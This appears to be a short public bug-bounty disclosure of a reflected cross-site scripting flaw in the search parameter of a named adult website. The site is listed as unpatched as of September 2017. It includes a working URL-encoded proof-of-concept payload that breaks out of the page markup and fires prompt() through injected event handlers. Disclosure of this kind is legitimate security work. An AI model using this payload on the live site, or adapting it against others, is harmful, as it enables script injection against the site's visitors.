anyporn.org XSS vulnerability

Vulnerable URL: http://anyporn.org/?search=aaaaa%22+onmouseover%3Dprompt/OPENBUGBOUNTY/+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt2%3Edemonium%3C%2Ftag%3E=Search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.09.2017...